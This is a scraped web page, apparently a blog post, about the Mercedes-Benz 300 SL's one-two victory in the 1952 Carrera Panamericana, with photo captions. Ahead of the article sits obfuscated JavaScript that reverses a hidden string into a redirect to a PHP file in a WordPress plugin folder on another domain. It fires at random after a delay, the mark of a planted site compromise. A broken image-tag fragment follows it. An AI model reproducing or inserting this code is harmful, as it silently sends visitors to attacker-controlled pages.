$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/press_release/765873_1397086_4896_3264__DW_8180.jpg” width=”728″ />A race of epic proportions!! The Carrera Panamericana was a nine stage, five day race across Mexico…After the Mexican section of the Panamerican Highway was completed in 1950 the rather lateral thinking Mexican government decided that a 3300km race across the country was the best way to put Mexico as a country on the map.In between all of the talent brought to the event with drivers from Formula One, sports cars, rallying, stock cars, endurance racing, hill climb, and drag racing, there were a couple of manufacturers that put their name to the event. One of those was Mercedes and specifically the Mercedes 300SL.The 3rd running of the Carrera Panamericana was one of the top international races of the 1952 season. The double victory achieved by Mercedes-Benz ranks as one of the brand’s most spectacular successes. Karl Kling and co-driver Hans Klenk won the race, against strong international competition at an average speed of 165.011 km/h. Second to cross the finishing line, also driving a Mercedes-Benz 300 SL, were Hermann Lang and co-driver Erwin Grupp.Kling’s collision with a vulture at 250 km/h, which left his car with a smashed windscreen and Hans Klenk with head injuries, went into the annals of racing history. In addition to replacing the screen, the mechanics also immediately fitted eight thin vertical metal bars to protect vehicle and driver in the event of a similar collision – still the vehicle’s most distinguishing feature.
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Hermann Lang, Erwin Grupp, Karl Klink und Hans Klenk with a Mercedes-Benz 300 SL racing coup?© (W 194), John Fitch and Eugen Geiger with a Mercedes-Benz 300 SL Roadster (W 194).
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After the unpleasant encounter with a vulture at the third Carrera Panamericana Mexico, 1952: the winning team of Hans Klenk (left) and Karl Kling in a Mercedes-Benz 300 SL (W 194 series).
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One of the toughest races in the world: Hans Klenk (left) and Karl Kling won the third Carrera Panamericana Mexico in 1952 in a Mercedes-Benz 300 SL (W 194 series).
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The Mercedes-Benz 300 SL parked up on with the incredible SLS AMG lurking in the back ground.
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Third Carrera Panamericana Mexico, 1952. The winning team Karl Kling and Hans Klenk.
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Resounding end to the season: The Mercedes-Benz 300 SL finished the last race of the 1952 season with a superb first and second place Рthe murderous Carrera Panamericana proved triumphant for the 300 SL, finishing winner and runner-up after 3,100 kilometers of raceing. Pictured here is Karl Kling´s winning car.
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Karl Kling and Hans Klenk (hidden) won the third Carrera Panamericana Mexico in 1952 driving a Mercedes-Benz 300 SL (W 194).
Thanks to Mercedes Benz for these wonderful photos and story.
